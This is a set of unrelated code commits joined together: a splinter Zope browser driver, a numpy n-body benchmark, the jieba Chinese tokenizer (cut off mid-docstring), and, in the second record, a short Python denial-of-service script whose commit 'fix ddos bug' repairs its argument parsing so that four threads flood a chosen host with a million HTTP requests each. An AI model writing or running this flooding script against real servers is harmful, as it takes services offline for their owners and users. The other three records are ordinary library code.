<commit_before>from splinter.driver import DriverAPI, ElementAPI
from zope.testbrowser.browser import Browser
import lxml.html

class ZopeTestBrowser(DriverAPI):

    def __init__(self):
        self._browser = Browser()

    def visit(self, url):
        self._browser.open(url)

    def quit(self):
        pass

    @property
    def title(self):
        return self._browser.title

    @property
    def html(self):
        return self._browser.contents

    @property
    def url(self):
        return self._browser.url

    def find_by_css_selector(self, selector):
        html = lxml.html.fromstring(self.html)
        return ZopeTestBrowserElement(html.cssselect(selector)[0])

    def find_by_xpath(self, xpath):
        html = lxml.html.fromstring(self.html)
        return ZopeTestBrowserElement(html.xpath(xpath)[0])

    def find_by_tag(self, tag):
        return self.find_by_xpath('//%s' % tag)

    def find_by_id(self, id_value):
        html = lxml.html.fromstring(self.html)
        return ZopeTestBrowserElement(html.get_element_by_id(id_value))

    def find_by_name(self, name):
        control = self._browser.getControl(name=name)
        return ZopeTestBrowserControlElement(control)

    def find_link_by_text(self, text):
        link = self._browser.getLink(text=text)
        return ZopeTestBrowserLinkElement(link)

    def find_link_by_href(self, href):
        link = self._browser.getLink(url=href)
        return ZopeTestBrowserLinkElement(link)

    def fill_in(self, name, value):
        self._browser.getControl(name=name).value = value

class ZopeTestBrowserElement(ElementAPI):

    def __init__(self, element):
        self._element = element

    @property
    def value(self):
        if hasattr(self._element, 'type') and self._element.type == 'text':
            return self._element.value
        return self._element.text

class ZopeTestBrowserLinkElement(ElementAPI):

    def __init__(self, link):
        self._link = link

    def __getitem__(self, attr):
        return self._link.attrs[attr]

class ZopeTestBrowserControlElement(ElementAPI):

    def __init__(self, control):
        self._control = control

    @property
    def value(self):
        return self._control.value

    def click(self):
        return self._control.click()<commit_msg>implemented choose to driver, and checked property to element control<commit_after>from splinter.driver import DriverAPI, ElementAPI
from zope.testbrowser.browser import Browser
import lxml.html

class ZopeTestBrowser(DriverAPI):

    def __init__(self):
        self._browser = Browser()

    def visit(self, url):
        self._browser.open(url)

    def quit(self):
        pass

    @property
    def title(self):
        return self._browser.title

    @property
    def html(self):
        return self._browser.contents

    @property
    def url(self):
        return self._browser.url

    def find_by_css_selector(self, selector):
        html = lxml.html.fromstring(self.html)
        return ZopeTestBrowserElement(html.cssselect(selector)[0])

    def find_by_xpath(self, xpath):
        html = lxml.html.fromstring(self.html)
        return ZopeTestBrowserElement(html.xpath(xpath)[0])

    def find_by_tag(self, tag):
        return self.find_by_xpath('//%s' % tag)

    def find_by_id(self, id_value):
        html = lxml.html.fromstring(self.html)
        return ZopeTestBrowserElement(html.get_element_by_id(id_value))

    def find_by_name(self, name):
        control = self._browser.getControl(name=name)
        return ZopeTestBrowserControlElement(control)

    def find_link_by_text(self, text):
        link = self._browser.getLink(text=text)
        return ZopeTestBrowserLinkElement(link)

    def find_link_by_href(self, href):
        link = self._browser.getLink(url=href)
        return ZopeTestBrowserLinkElement(link)

    def fill_in(self, name, value):
        self._browser.getControl(name=name).value = value

    def choose(self, name):
        control = self._browser.getControl(name=name)
        control.value = control.options

class ZopeTestBrowserElement(ElementAPI):

    def __init__(self, element):
        self._element = element

    @property
    def value(self):
        if hasattr(self._element, 'type') and self._element.type == 'text':
            return self._element.value
        return self._element.text

class ZopeTestBrowserLinkElement(ElementAPI):

    def __init__(self, link):
        self._link = link

    def __getitem__(self, attr):
        return self._link.attrs[attr]

class ZopeTestBrowserControlElement(ElementAPI):

    def __init__(self, control):
        self._control = control

    @property
    def value(self):
        return self._control.value

    @property
    def checked(self):
        return bool(self._control.value)

    def click(self):
        return self._control.click()
<|endoftext|>


<commit_before>import os, sys, socket, threading, time

def connect(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    return sock

def spam(sock, host):
    for i in range(1000000):
        sock.send("GET / HTTP/1.1\r\nHost: " + host + "\r\n\r\n");

def attack(host, port):
    sock = connect(host, port)
    spam(sock, host)
    sock.close()
    return

if len(sys.argv) != 2:
    sys.exit(1)
host = sys.argv[1]
port = sys.argv[2]
threads = []
for i in range(4):
    t = threading.Thread(target=attack, args = (host, port,))
    threads.append(t)
    t.start()
<commit_msg>fix ddos bug<commit_after>import os, sys, socket, threading, time

def connect(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    return sock

def spam(sock, host):
    for i in range(1000000):
        sock.send("GET / HTTP/1.1\r\nHost: " + host + "\r\n\r\n");

def attack(host, port):
    sock = connect(host, port)
    spam(sock, host)
    sock.close()
    return

if len(sys.argv) != 3:
    sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
threads = []
for i in range(4):
    t = threading.Thread(target=attack, args = (host, port,))
    threads.append(t)
    t.start()
<|endoftext|>


<commit_before>from __future__ import print_function
"""
NBody in N^2 complexity

Note that we are using only Newtonian forces and do not consider relativity
Neither do we consider collisions between stars
Thus some of our stars will accelerate to speeds beyond c
This is done to keep the simulation simple enough for teaching purposes

All the work is done in the calc_force, move and random_galaxy functions.
To vectorize the code these are the functions to transform.
"""
import util
if util.Benchmark().bohrium:
    import bohrium as np
else:
    import numpy as np

G     = 6.67384e-11     # m/(kg*s^2)
dt    = 60*60*24*365.25 # Years in seconds
r_ly  = 9.4607e15       # Lightyear in m
m_sol = 1.9891e30       # Solar mass in kg

def random_galaxy(N, dtype=np.float64):
    """Generate a galaxy of random bodies"""

    galaxy = {            # We let all bodies stand still initially
        'm':    (np.array(np.random.random(N), dtype=dtype) + dtype(10)) * dtype(m_sol/10),
        'x':    (np.array(np.random.random(N), dtype=dtype) - dtype(0.5)) * dtype(r_ly/100),
        'y':    (np.array(np.random.random(N), dtype=dtype) - dtype(0.5)) * dtype(r_ly/100),
        'z':    (np.array(np.random.random(N), dtype=dtype) - dtype(0.5)) * dtype(r_ly/100),
        'vx':   np.zeros(N, dtype=dtype),
        'vy':   np.zeros(N, dtype=dtype),
        'vz':   np.zeros(N, dtype=dtype)
    }
    if dtype == np.float32:
        galaxy['m'] /= 1e10
        galaxy['x'] /= 1e5
        galaxy['y'] /= 1e5
        galaxy['z'] /= 1e5
    return galaxy

def move(galaxy, dt):
    """Move the bodies
    first find forces and change velocity and then move positions
    """
    n  = len(galaxy['x'])
    # Calculate all dictances component wise (with sign)
    dx = galaxy['x'][np.newaxis,:].T - galaxy['x']
    dy = galaxy['y'][np.newaxis,:].T - galaxy['y']
    dz = galaxy['z'][np.newaxis,:].T - galaxy['z']

    # Euclidian distances (all bodys)
    r = np.sqrt(dx**2 + dy**2 + dz**2)
    np.diagonal(r)[:] = 1.0

    # prevent collition
    mask = r < 1.0
    r = r * ~mask + 1.0 * mask

    m = galaxy['m'][np.newaxis,:].T

    # Calculate the acceleration component wise
    Fx = G*m*dx/r**3
    Fy = G*m*dy/r**3
    Fz = G*m*dz/r**3
    # Set the force (acceleration) a body exerts on it self to zero
    np.diagonal(Fx)[:] = 0.0
    np.diagonal(Fy)[:] = 0.0
    np.diagonal(Fz)[:] = 0.0

    galaxy['vx'] += dt*np.sum(Fx, axis=0)
    galaxy['vy'] += dt*np.sum(Fy, axis=0)
    galaxy['vz'] += dt*np.sum(Fz, axis=0)

    galaxy['x'] += dt*galaxy['vx']
    galaxy['y'] += dt*galaxy['vy']
    galaxy['z'] += dt*galaxy['vz']

def simulate(galaxy, timesteps, visualize=False):
    for i in xrange(timesteps):
        move(galaxy,dt)
        if visualize:#NB: this is only for experiments
            T = np.zeros((3, len(galaxy['x'])), dtype=np.float32)
            T[0,:] = galaxy['x']
            T[1,:] = galaxy['y']
            T[2,:] = galaxy['z']
            np.visualize(T, "3d", 0, 0.0, 10)

def main():
    B = util.Benchmark()
    N = B.size[0]
    I = B.size[1]

    if B.inputfn:
        galaxy = B.load_arrays(B.inputfn)
    else:
        galaxy = random_galaxy(N, B.dtype)

    if B.dumpinput:
        B.dump_arrays("nbody", galaxy)

    B.start()
    simulate(galaxy, I, visualize=B.visualize)
    R = np.sum(galaxy['x'] + galaxy['y'] + galaxy['z'])
    B.stop()

    B.pprint()
    if B.outputfn:
        B.tofile(B.outputfn, galaxy)

if __name__ == "__main__":
    main()
<commit_msg>benchmark-python: nbody numpy compability fix.<commit_after>from __future__ import print_function
"""
NBody in N^2 complexity

Note that we are using only Newtonian forces and do not consider relativity
Neither do we consider collisions between stars
Thus some of our stars will accelerate to speeds beyond c
This is done to keep the simulation simple enough for teaching purposes

All the work is done in the calc_force, move and random_galaxy functions.
To vectorize the code these are the functions to transform.
"""
import util
if util.Benchmark().bohrium:
    import bohrium as np
else:
    import numpy as np

G     = 6.67384e-11     # m/(kg*s^2)
dt    = 60*60*24*365.25 # Years in seconds
r_ly  = 9.4607e15       # Lightyear in m
m_sol = 1.9891e30       # Solar mass in kg

def diagonal(ary, offset=0):
    """
    Return specified diagonals.

    If `a` is 2-D, returns the diagonal of `a` with the given offset,
    i.e., the collection of elements of the form ``a[i, i+offset]``.

    Parameters
    ----------
    ary : array_like
        Array from which the diagonals are taken.
    offset : int, optional
        Offset of the diagonal from the main diagonal.  Can be positive or
        negative.  Defaults to main diagonal (0).

    Returns
    -------
    array_of_diagonals : ndarray
        If `a` is 2-D, a 1-D array containing the diagonal is returned.
        If the dimension of `a` is larger, then an array of diagonals is
        returned, "packed" from left-most dimension to right-most (e.g.,
        if `a` is 3-D, then the diagonals are "packed" along rows).

    Raises
    ------
    ValueError
        If the dimension of `a` is less than 2.

    See Also
    --------
    diag : MATLAB work-a-like for 1-D and 2-D arrays.
    diagflat : Create diagonal arrays.
    trace : Sum along diagonals.

    Examples
    --------
    >>> a = np.arange(4).reshape(2,2)
    >>> a
    array([[0, 1],
           [2, 3]])
    >>> a.diagonal()
    array([0, 3])
    >>> a.diagonal(1)
    array([1])

    A 3-D example:

    >>> a = np.arange(8).reshape(2,2,2); a
    array([[[0, 1],
            [2, 3]],
           [[4, 5],
            [6, 7]]])
    """
    if ary.ndim != 2:
        raise Exception("diagonal only supports 2 dimensions\n")
    if offset < 0:
        offset = -offset
        if (ary.shape[0]-offset) > ary.shape[1]:
            ary_diag = ary[offset, :]
        else:
            ary_diag = ary[offset:, 0]
    else:
        if ary.shape[1]-offset > ary.shape[0]:
            ary_diag = ary[:, offset]
        else:
            ary_diag = ary[0, offset:]
    ary_diag.strides = (ary.strides[0]+ary.strides[1],)
    return ary_diag

def random_galaxy(N, dtype=np.float64):
    """Generate a galaxy of random bodies"""

    galaxy = {            # We let all bodies stand still initially
        'm':    (np.array(np.random.random(N), dtype=dtype) + dtype(10)) * dtype(m_sol/10),
        'x':    (np.array(np.random.random(N), dtype=dtype) - dtype(0.5)) * dtype(r_ly/100),
        'y':    (np.array(np.random.random(N), dtype=dtype) - dtype(0.5)) * dtype(r_ly/100),
        'z':    (np.array(np.random.random(N), dtype=dtype) - dtype(0.5)) * dtype(r_ly/100),
        'vx':   np.zeros(N, dtype=dtype),
        'vy':   np.zeros(N, dtype=dtype),
        'vz':   np.zeros(N, dtype=dtype)
    }
    if dtype == np.float32:
        galaxy['m'] /= 1e10
        galaxy['x'] /= 1e5
        galaxy['y'] /= 1e5
        galaxy['z'] /= 1e5
    return galaxy

def move(galaxy, dt):
    """Move the bodies
    first find forces and change velocity and then move positions
    """
    n  = len(galaxy['x'])
    # Calculate all dictances component wise (with sign)
    dx = galaxy['x'][np.newaxis,:].T - galaxy['x']
    dy = galaxy['y'][np.newaxis,:].T - galaxy['y']
    dz = galaxy['z'][np.newaxis,:].T - galaxy['z']

    # Euclidian distances (all bodys)
    r = np.sqrt(dx**2 + dy**2 + dz**2)
    diagonal(r)[:] = 1.0

    # prevent collition
    mask = r < 1.0
    r = r * ~mask + 1.0 * mask

    m = galaxy['m'][np.newaxis,:].T

    # Calculate the acceleration component wise
    Fx = G*m*dx/r**3
    Fy = G*m*dy/r**3
    Fz = G*m*dz/r**3
    # Set the force (acceleration) a body exerts on it self to zero
    diagonal(Fx)[:] = 0.0
    diagonal(Fy)[:] = 0.0
    diagonal(Fz)[:] = 0.0

    galaxy['vx'] += dt*np.sum(Fx, axis=0)
    galaxy['vy'] += dt*np.sum(Fy, axis=0)
    galaxy['vz'] += dt*np.sum(Fz, axis=0)

    galaxy['x'] += dt*galaxy['vx']
    galaxy['y'] += dt*galaxy['vy']
    galaxy['z'] += dt*galaxy['vz']

def simulate(galaxy, timesteps, visualize=False):
    for i in xrange(timesteps):
        move(galaxy,dt)
        if visualize:#NB: this is only for experiments
            T = np.zeros((3, len(galaxy['x'])), dtype=np.float32)
            T[0,:] = galaxy['x']
            T[1,:] = galaxy['y']
            T[2,:] = galaxy['z']
            np.visualize(T, "3d", 0, 0.0, 10)

def main():
    B = util.Benchmark()
    N = B.size[0]
    I = B.size[1]

    if B.inputfn:
        galaxy = B.load_arrays(B.inputfn)
    else:
        galaxy = random_galaxy(N, B.dtype)

    if B.dumpinput:
        B.dump_arrays("nbody", galaxy)

    B.start()
    simulate(galaxy, I, visualize=B.visualize)
    R = np.sum(galaxy['x'] + galaxy['y'] + galaxy['z'])
    B.stop()

    B.pprint()
    if B.outputfn:
        B.tofile(B.outputfn, galaxy)

if __name__ == "__main__":
    main()
<|endoftext|>


<commit_before>from __future__ import absolute_import, unicode_literals
__version__ = '0.35'
__license__ = 'MIT'

import re
import os
import sys
import time
import tempfile
import marshal
from math import log
import threading
from functools import wraps
import logging
from hashlib import md5
from ._compat import *
from . import finalseg

DICTIONARY = "dict.txt"
DICT_LOCK = threading.RLock()
FREQ = {}  # to be initialized
total = 0
user_word_tag_tab = {}
initialized = False
pool = None

_curpath = os.path.normpath(
    os.path.join(os.getcwd(), os.path.dirname(__file__)))

log_console = logging.StreamHandler(sys.stderr)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(log_console)

def setLogLevel(log_level):
    global logger
    logger.setLevel(log_level)

def gen_pfdict(f_name):
    lfreq = {}
    ltotal = 0
    with open(f_name, 'rb') as f:
        lineno = 0
        for line in f.read().rstrip().decode('utf-8').splitlines():
            lineno += 1
            try:
                word, freq = line.split(' ')[:2]
                freq = int(freq)
                lfreq[word] = freq
                ltotal += freq
                for ch in xrange(len(word)):
                    wfrag = word[:ch + 1]
                    if wfrag not in lfreq:
                        lfreq[wfrag] = 0
            except ValueError as e:
                logger.debug('%s at line %s %s' % (f_name, lineno, line))
                raise e
    return lfreq, ltotal

def initialize(dictionary=None):
    global FREQ, total, initialized, DICTIONARY, DICT_LOCK
    if not dictionary:
        dictionary = DICTIONARY
    with DICT_LOCK:
        if initialized:
            return

        abs_path = os.path.join(_curpath, dictionary)
        logger.debug("Building prefix dict from %s ..." % abs_path)
        t1 = time.time()
        # default dictionary
        if abs_path == os.path.join(_curpath, "dict.txt"):
            cache_file = os.path.join(tempfile.gettempdir(), "jieba.cache")
        else:  # custom dictionary
            cache_file = os.path.join(tempfile.gettempdir(), "jieba.u%s.cache" % md5(
                abs_path.encode('utf-8', 'replace')).hexdigest())

        load_from_cache_fail = True
        if os.path.isfile(cache_file) and os.path.getmtime(cache_file) > os.path.getmtime(abs_path):
            logger.debug("Loading model from cache %s" % cache_file)
            try:
                with open(cache_file, 'rb') as cf:
                    FREQ, total = marshal.load(cf)
                load_from_cache_fail = False
            except Exception:
                load_from_cache_fail = True

        if load_from_cache_fail:
            FREQ, total = gen_pfdict(abs_path)
            logger.debug("Dumping model to file cache %s" % cache_file)
            try:
                fd, fpath = tempfile.mkstemp()
                with os.fdopen(fd, 'wb') as temp_cache_file:
                    marshal.dump((FREQ, total), temp_cache_file)
                if os.name == 'nt':
                    from shutil import move as replace_file
                else:
                    replace_file = os.rename
                replace_file(fpath, cache_file)
            except Exception:
                logger.exception("Dump cache file failed.")

        initialized = True

        logger.debug("Loading model cost %s seconds." % (time.time() - t1))
        logger.debug("Prefix dict has been built succesfully.")

def require_initialized(fn):

    @wraps(fn)
    def wrapped(*args, **kwargs):
        global initialized
        if initialized:
            return fn(*args, **kwargs)
        else:
            initialize(DICTIONARY)
            return fn(*args, **kwargs)

    return wrapped

def __cut_all(sentence):
    dag = get_DAG(sentence)
    old_j = -1
    for k, L in iteritems(dag):
        if len(L) == 1 and k > old_j:
            yield sentence[k:L[0] + 1]
            old_j = L[0]
        else:
            for j in L:
                if j > k:
                    yield sentence[k:j + 1]
                    old_j = j

def calc(sentence, DAG, route):
    N = len(sentence)
    route[N] = (0, 0)
    logtotal = log(total)
    for idx in xrange(N - 1, -1, -1):
        route[idx] = max((log(FREQ.get(sentence[idx:x + 1]) or 1) -
                          logtotal + route[x + 1][0], x) for x in DAG[idx])

@require_initialized
def get_DAG(sentence):
    global FREQ
    DAG = {}
    N = len(sentence)
    for k in xrange(N):
        tmplist = []
        i = k
        frag = sentence[k]
        while i < N and frag in FREQ:
            if FREQ[frag]:
                tmplist.append(i)
            i += 1
            frag = sentence[k:i + 1]
        if not tmplist:
            tmplist.append(k)
        DAG[k] = tmplist
    return DAG

re_eng = re.compile('[a-zA-Z0-9]', re.U)

def __cut_DAG_NO_HMM(sentence):
    DAG = get_DAG(sentence)
    route = {}
    calc(sentence, DAG, route)
    x = 0
    N = len(sentence)
    buf = ''
    while x < N:
        y = route[x][1] + 1
        l_word = sentence[x:y]
        if re_eng.match(l_word) and len(l_word) == 1:
            buf += l_word
            x = y
        else:
            if buf:
                yield buf
                buf = ''
            yield l_word
            x = y
    if buf:
        yield buf
        buf = ''

def __cut_DAG(sentence):
    DAG = get_DAG(sentence)
    route = {}
    calc(sentence, DAG, route=route)
    x = 0
    buf = ''
    N = len(sentence)
    while x < N:
        y = route[x][1] + 1
        l_word = sentence[x:y]
        if y - x == 1:
            buf += l_word
        else:
            if buf:
                if len(buf) == 1:
                    yield buf
                    buf = ''
                else:
                    if not FREQ.get(buf):
                        recognized = finalseg.cut(buf)
                        for t in recognized:
                            yield t
                    else:
                        for elem in buf:
                            yield elem
                    buf = ''
            yield l_word
        x = y

    if buf:
        if len(buf) == 1:
            yield buf
        elif not FREQ.get(buf):
            recognized = finalseg.cut(buf)
            for t in recognized:
                yield t
        else:
            for elem in buf:
                yield elem

re_han_default = re.compile("([\u4E00-\u9FA5a-zA-Z0-9+#&\._]+)", re.U)
re_skip_default = re.compile("(\r\n|\s)", re.U)
re_han_cut_all = re.compile("([\u4E00-\u9FA5]+)", re.U)
re_skip_cut_all = re.compile("[^a-zA-Z0-9+#\n]", re.U)

def cut(sentence, cut_all=False, HMM=True):
    '''The main function that segments an entire sentence that contains
    Chinese characters into seperated words.
    Parameter:
        - sentence: The str(unicode) to be segmented.
        - cut_all: Model type. True for full pattern, False for accurate pattern.
        - HMM: Whether to use the Hidden Markov Model.
    '''
    sentence = strdecode(sentence)

    # \u4E00-\u9FA5a-zA-Z0-9+#&\._ : All non-space characters. Will be handled with re_han
    # \r\n|\s : whitespace characters. Will not be handled.

    if cut_all:
        re_han = re_han_cut_all
        re_skip = re_skip_cut_all
    else:
        re_han = re_han_default
        re_skip = re_skip_default
    blocks = re_han.split(sentence)
    if cut_all:
        cut_block = __cut_all
    elif HMM:
        cut_block = __cut_DAG
    else:
        cut_block = __cut_DAG_NO_HMM
    for blk in blocks:
        if not blk:
            continue
        if re_han.match(blk):
            for word in cut_block(blk):
                yield word
        else:
            tmp = re_skip.split(blk)
            for x in tmp:
                if re_skip.match(x):
                    yield x
                elif not cut_all:
                    for xx in x:
                        yield xx
                else:
                    yield x

def cut_for_search(sentence, HMM=True):
    words = cut(sentence, HMM=HMM)
    for w in words:
        if len(w) > 2:
            for i in xrange(len(w) - 1):
                gram2 = w[i:i + 2]
                if FREQ.get(gram2):
                    yield gram2
        if len(w) > 3:
            for i in xrange(len(w) - 2):
                gram3 = w[i:i + 3]
                if FREQ.get(gram3):
                    yield gram3
        yield w

@require_initialized
def load_userdict(f):
    ''' Load personalized dict to improve detect rate.
    Parameter:
        - f : A plain text file contains words and their ocurrences.
    Structure of dict file:
    word1 freq1 word_type1
    word2 freq2 word_type2
    ...
    Word type may be ignored
    '''
    if isinstance(f, string_types):
        f = open(f, 'rb')
    content = f.read().decode('utf-8').lstrip('\ufeff')
    line_no = 0
    for line in content.splitlines():
        line_no += 1
        if not line.rstrip():
            continue
        tup = line.strip().split(" ")
        if tup[1].isdigit():
            add_word(*tup)

@require_initialized
def add_word(word, freq, tag=None):
    global FREQ, total, user_word_tag_tab
    freq = int(freq)
    FREQ[word] = freq
    total += freq
    if tag is not None:
        user_word_tag_tab[word] = tag
    for ch in xrange(len(word)):
        wfrag = word[:ch + 1]
        if wfrag not in lfreq:
            lfreq[wfrag] = 0

__ref_cut = cut
__ref_cut_for_search = cut_for_search

def __lcut(sentence):
    return list(__ref_cut(sentence, False))

def __lcut_no_hmm(sentence):
    return list(__ref_cut(sentence, False, False))

def __lcut_all(sentence):
    return list(__ref_cut(sentence, True))

def __lcut_for_search(sentence):
    return list(__ref_cut_for_search(sentence))

@require_initialized
def enable_parallel(processnum=None):
    global pool, cut, cut_for_search
    if os.name == 'nt':
        raise Exception("jieba: parallel mode only supports posix system")
    from multiprocessing import Pool, cpu_count
    if processnum is None:
        processnum = cpu_count()
    pool = Pool(processnum)

    def pcut(sentence, cut_all=False, HMM=True):
        parts = strdecode(sentence).splitlines(True)
        if cut_all:
            result = pool.map(__lcut_all, parts)
        elif HMM:
            result = pool.map(__lcut, parts)
        else:
            result = pool.map(__lcut_no_hmm, parts)
        for r in result:
            for w in r:
                yield w

    def pcut_for_search(sentence):
        parts = strdecode(sentence).splitlines(True)
        result = pool.map(__lcut_for_search, parts)
        for r in result:
            for w in r:
                yield w

    cut = pcut
    cut_for_search = pcut_for_search

def disable_parallel():
    global pool, cut, cut_for_search
    if pool:
        pool.close()
        pool = None
    cut = __ref_cut
    cut_for_search = __ref_cut_for_search

def set_dictionary(dictionary_path):
    global initialized, DICTIONARY
    with DICT_LOCK:
        abs_path = os.path.normpath(os.path.join(os.getcwd(), dictionary_path))
        if not os.path.exists(abs_path):
            raise Exception("jieba: path does not exist: " + abs_path)
        DICTIONARY = abs_path
        initialized = False

def get_abs_path_dict():
    return os.path.join(_curpath, DICTIONARY)

def tokenize(unicode_sentence, mode="default", HMM=True):
    """Tokenize a sentence and yields tuples of (word, start, end)
    Parameter:
        - sentence: the str(unicode) to be segmented.
        - mode: "default" or "search", "search" is for finer segmentation.
        - HMM: whether to use the Hidden Markov Model.
    """
    if not isinstance(unicode_sentence, text_type):
        raise Exception("jieba: the input parameter should be unicode.")
    start = 0
    if mode == 'default':
        for w in cut(unicode_sentence, HMM=HMM):
            width = len(w)
            yield (w, start, start + width)
            start += width
    else:
        for w in cut(unicode_sentence, HMM=HMM):
            width = len(w)
            if len(w) > 2:
                for i in xrange(len(w) - 1):
                    gram2 = w[i:i + 2]
                    if FREQ.get(gram2):
                        yield (gram2, start + i, start + i + 2)
            if len(w) > 3:
                for i in xrange(len(w) - 2):
                    gram3 = w[i:i + 3]
                    if FREQ.get(gram3):
                        yield (gram3, start + i, start + i + 3)
            yield (w, start, start + width)
            start += width
<commit_msg>fix bug: load_userdict<commit_after>from __future__ import absolute_import, unicode_literals
__version__ = '0.35'
__license__ = 'MIT'

import re
import os
import sys
import time
import tempfile
import marshal
from math import log
import threading
from functools import wraps
import logging
from hashlib import md5
from ._compat import *
from . import finalseg

DICTIONARY = "dict.txt"
DICT_LOCK = threading.RLock()
FREQ = {}  # to be initialized
total = 0
user_word_tag_tab = {}
initialized = False
pool = None

_curpath = os.path.normpath(
    os.path.join(os.getcwd(), os.path.dirname(__file__)))

log_console = logging.StreamHandler(sys.stderr)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(log_console)

def setLogLevel(log_level):
    global logger
    logger.setLevel(log_level)

def gen_pfdict(f_name):
    lfreq = {}
    ltotal = 0
    with open(f_name, 'rb') as f:
        lineno = 0
        for line in f.read().rstrip().decode('utf-8').splitlines():
            lineno += 1
            try:
                word, freq = line.split(' ')[:2]
                freq = int(freq)
                lfreq[word] = freq
                ltotal += freq
                for ch in xrange(len(word)):
                    wfrag = word[:ch + 1]
                    if wfrag not in lfreq:
                        lfreq[wfrag] = 0
            except ValueError as e:
                logger.debug('%s at line %s %s' % (f_name, lineno, line))
                raise e
    return lfreq, ltotal

def initialize(dictionary=None):
    global FREQ, total, initialized, DICTIONARY, DICT_LOCK
    if not dictionary:
        dictionary = DICTIONARY
    with DICT_LOCK:
        if initialized:
            return

        abs_path = os.path.join(_curpath, dictionary)
        logger.debug("Building prefix dict from %s ..." % abs_path)
        t1 = time.time()
        # default dictionary
        if abs_path == os.path.join(_curpath, "dict.txt"):
            cache_file = os.path.join(tempfile.gettempdir(), "jieba.cache")
        else:  # custom dictionary
            cache_file = os.path.join(tempfile.gettempdir(), "jieba.u%s.cache" % md5(
                abs_path.encode('utf-8', 'replace')).hexdigest())

        load_from_cache_fail = True
        if os.path.isfile(cache_file) and os.path.getmtime(cache_file) > os.path.getmtime(abs_path):
            logger.debug("Loading model from cache %s" % cache_file)
            try:
                with open(cache_file, 'rb') as cf:
                    FREQ, total = marshal.load(cf)
                load_from_cache_fail = False
            except Exception:
                load_from_cache_fail = True

        if load_from_cache_fail:
            FREQ, total = gen_pfdict(abs_path)
            logger.debug("Dumping model to file cache %s" % cache_file)
            try:
                fd, fpath = tempfile.mkstemp()
                with os.fdopen(fd, 'wb') as temp_cache_file:
                    marshal.dump((FREQ, total), temp_cache_file)
                if os.name == 'nt':
                    from shutil import move as replace_file
                else:
                    replace_file = os.rename
                replace_file(fpath, cache_file)
            except Exception:
                logger.exception("Dump cache file failed.")

        initialized = True

        logger.debug("Loading model cost %s seconds." % (time.time() - t1))
        logger.debug("Prefix dict has been built succesfully.")

def require_initialized(fn):

    @wraps(fn)
    def wrapped(*args, **kwargs):
        global initialized
        if initialized:
            return fn(*args, **kwargs)
        else:
            initialize(DICTIONARY)
            return fn(*args, **kwargs)

    return wrapped

def __cut_all(sentence):
    dag = get_DAG(sentence)
    old_j = -1
    for k, L in iteritems(dag):
        if len(L) == 1 and k > old_j:
            yield sentence[k:L[0] + 1]
            old_j = L[0]
        else:
            for j in L:
                if j > k:
                    yield sentence[k:j + 1]
                    old_j = j

def calc(sentence, DAG, route):
    N = len(sentence)
    route[N] = (0, 0)
    logtotal = log(total)
    for idx in xrange(N - 1, -1, -1):
        route[idx] = max((log(FREQ.get(sentence[idx:x + 1]) or 1) -
                          logtotal + route[x + 1][0], x) for x in DAG[idx])

@require_initialized
def get_DAG(sentence):
    global FREQ
    DAG = {}
    N = len(sentence)
    for k in xrange(N):
        tmplist = []
        i = k
        frag = sentence[k]
        while i < N and frag in FREQ:
            if FREQ[frag]:
                tmplist.append(i)
            i += 1
            frag = sentence[k:i + 1]
        if not tmplist:
            tmplist.append(k)
        DAG[k] = tmplist
    return DAG

re_eng = re.compile('[a-zA-Z0-9]', re.U)

def __cut_DAG_NO_HMM(sentence):
    DAG = get_DAG(sentence)
    route = {}
    calc(sentence, DAG, route)
    x = 0
    N = len(sentence)
    buf = ''
    while x < N:
        y = route[x][1] + 1
        l_word = sentence[x:y]
        if re_eng.match(l_word) and len(l_word) == 1:
            buf += l_word
            x = y
        else:
            if buf:
                yield buf
                buf = ''
            yield l_word
            x = y
    if buf:
        yield buf
        buf = ''

def __cut_DAG(sentence):
    DAG = get_DAG(sentence)
    route = {}
    calc(sentence, DAG, route=route)
    x = 0
    buf = ''
    N = len(sentence)
    while x < N:
        y = route[x][1] + 1
        l_word = sentence[x:y]
        if y - x == 1:
            buf += l_word
        else:
            if buf:
                if len(buf) == 1:
                    yield buf
                    buf = ''
                else:
                    if not FREQ.get(buf):
                        recognized = finalseg.cut(buf)
                        for t in recognized:
                            yield t
                    else:
                        for elem in buf:
                            yield elem
                    buf = ''
            yield l_word
        x = y

    if buf:
        if len(buf) == 1:
            yield buf
        elif not FREQ.get(buf):
            recognized = finalseg.cut(buf)
            for t in recognized:
                yield t
        else:
            for elem in buf:
                yield elem

re_han_default = re.compile("([\u4E00-\u9FA5a-zA-Z0-9+#&\._]+)", re.U)
re_skip_default = re.compile("(\r\n|\s)", re.U)
re_han_cut_all = re.compile("([\u4E00-\u9FA5]+)", re.U)
re_skip_cut_all = re.compile("[^a-zA-Z0-9+#\n]", re.U)

def cut(sentence, cut_all=False, HMM=True):
    '''The main function that segments an entire sentence that contains
    Chinese characters into seperated words.
    Parameter:
        - sentence: The str(unicode) to be segmented.
        - cut_all: Model type. True for full pattern, False for accurate pattern.
        - HMM: Whether to use the Hidden Markov Model.
    '''
    sentence = strdecode(sentence)

    # \u4E00-\u9FA5a-zA-Z0-9+#&\._ : All non-space characters. Will be handled with re_han
    # \r\n|\s : whitespace characters. Will not be handled.

    if cut_all:
        re_han = re_han_cut_all
        re_skip = re_skip_cut_all
    else:
        re_han = re_han_default
        re_skip = re_skip_default
    blocks = re_han.split(sentence)
    if cut_all:
        cut_block = __cut_all
    elif HMM:
        cut_block = __cut_DAG
    else:
        cut_block = __cut_DAG_NO_HMM
    for blk in blocks:
        if not blk:
            continue
        if re_han.match(blk):
            for word in cut_block(blk):
                yield word
        else:
            tmp = re_skip.split(blk)
            for x in tmp:
                if re_skip.match(x):
                    yield x
                elif not cut_all:
                    for xx in x:
                        yield xx
                else:
                    yield x

def cut_for_search(sentence, HMM=True):
    words = cut(sentence, HMM=HMM)
    for w in words:
        if len(w) > 2:
            for i in xrange(len(w) - 1):
                gram2 = w[i:i + 2]
                if FREQ.get(gram2):
                    yield gram2
        if len(w) > 3:
            for i in xrange(len(w) - 2):
                gram3 = w[i:i + 3]
                if FREQ.get(gram3):
                    yield gram3
        yield w

@require_initialized
def load_userdict(f):
    ''' Load personalized dict to improve detect rate.
    Parameter:
        - f : A plain text file contains words and their ocurrences.
    Structure of dict file:
    word1 freq1 word_type1
